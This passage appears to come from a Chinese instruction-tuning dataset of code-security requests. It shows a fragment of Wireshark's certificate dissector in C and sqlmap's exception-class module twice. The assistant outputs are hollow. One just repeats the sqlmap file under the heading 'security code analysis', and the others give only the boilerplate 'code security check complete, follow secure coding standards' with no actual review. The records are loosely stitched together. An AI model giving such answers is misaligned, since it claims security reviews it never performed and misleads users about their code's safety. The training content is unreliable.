static gint ett_cert = -1;

static int
dissect_cert(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
        proto_tree *subtree = NULL;
        proto_item *ti;
        asn1_ctx_t asn1_ctx;
        asn1_ctx_init(&asn1_ctx, ASN1_ENC_BER, TRUE, pinfo);

        col_append_sep_str(pinfo->cinfo, COL_INFO, " ", "(application/pkix-cert)");

        if (tree) {
                ti = proto_tree_add_item(tree, proto_cert, tvb, 0, -1, ENC_NA);
                subtree = proto_item_add_subtree(ti, ett_cert);
        }

        dissect_x509af_Certificate(FALSE, tvb, 0, &asn1_ctx, subtree, hf_cert);
        return tvb_captured_length(tvb);
}

/****************** Register the protocol with Wireshark ******************/

/* This format is required because a script is used to build the C function
 * that calls the protocol registration. */

void
proto_register_cert(void)
{
        /*
         * Setup list of header fields.
         */
        static hf_register_info hf[] = {
                { &hf_cert,
                { "Certificate", "pkix-cert.cert", FT_NONE, BASE_NONE, NULL, 0x00, NULL, HFILL}},
        };

        /* Setup protocol subtree array */
        static gint *ett[] = {
                &ett_cert,
        };...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

class SqlmapBaseException(Exception):
    pass

class SqlmapCompressionException(SqlmapBaseException):
    pass

class SqlmapConnectionException(SqlmapBaseException):
    pass

class SqlmapDataException(SqlmapBaseException):
    pass

class SqlmapFilePathException(SqlmapBaseException):
    pass

class SqlmapGenericException(SqlmapBaseException):
    pass

class SqlmapInstallationException(SqlmapBaseException):
    pass

class SqlmapMissingDependence(SqlmapBaseException):
    pass

class SqlmapMissingMandatoryOptionException(SqlmapBaseException):
    pass

class SqlmapMissingPrivileges(SqlmapBaseException):
    pass

class SqlmapNoneDataException(SqlmapBaseException):
    pass

class SqlmapNotVulnerableException(SqlmapBaseException):
    pass

class SqlmapSilentQuitException(SqlmapBaseException):
    pass

class SqlmapUserQuitException(SqlmapBaseException):
    pass

class SqlmapShellQuitException(SqlmapBaseException):
    pass

class SqlmapSkipTargetException(SqlmapBaseException):
    pass

class SqlmapSyntaxException(SqlmapBaseException):
    pass

class SqlmapSystemException(SqlmapBaseException):
    pass

class SqlmapThreadException(SqlmapBaseException):
    pass

class SqlmapTokenException(SqlmapBaseException):
    pass

class SqlmapUndefinedMethod(SqlmapBaseException):
    pass

class SqlmapUnsupportedDBMSException(SqlmapBaseException):
    pass

class SqlmapUnsupportedFeatureException(SqlmapBaseException):
    pass

class SqlmapValueException(SqlmapBaseException):
    pass


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

class SqlmapBaseException(Exception):
    pass

class SqlmapCompressionException(SqlmapBaseException):
    pass

class SqlmapConnectionException(SqlmapBaseException):
    pass

class SqlmapDataException(SqlmapBaseException):
    pass

class SqlmapFilePathException(SqlmapBaseException):
    pass

class SqlmapGenericException(SqlmapBaseException):
    pass

class SqlmapInstallationException(SqlmapBaseException):
    pass

class SqlmapMissingDependence(SqlmapBaseException):
    pass

class SqlmapMissingMandatoryOptionException(SqlmapBaseException):
    pass

class SqlmapMissingPrivileges(SqlmapBaseException):
    pass

class SqlmapNoneDataException(SqlmapBaseException):
    pass

class SqlmapNotVulnerableException(SqlmapBaseException):
    pass

class SqlmapSilentQuitException(SqlmapBaseException):
    pass

class SqlmapUserQuitException(SqlmapBaseException):
    pass

class SqlmapShellQuitException(SqlmapBaseException):
    pass

class SqlmapSkipTargetException(SqlmapBaseException):
    pass

class SqlmapSyntaxException(SqlmapBaseException):
    pass

class SqlmapSystemException(SqlmapBaseException):
    pass

class SqlmapThreadException(SqlmapBaseException):
    pass

class SqlmapTokenException(SqlmapBaseException):
    pass

class SqlmapUndefinedMethod(SqlmapBaseException):
    pass

class SqlmapUnsupportedDBMSException(SqlmapBaseException):
    pass

class SqlmapUnsupportedFeatureException(SqlmapBaseException):
    pass

class SqlmapValueException(SqlmapBaseException):
    pass

Output: 代码安全检查完成，建议遵循安全编码规范。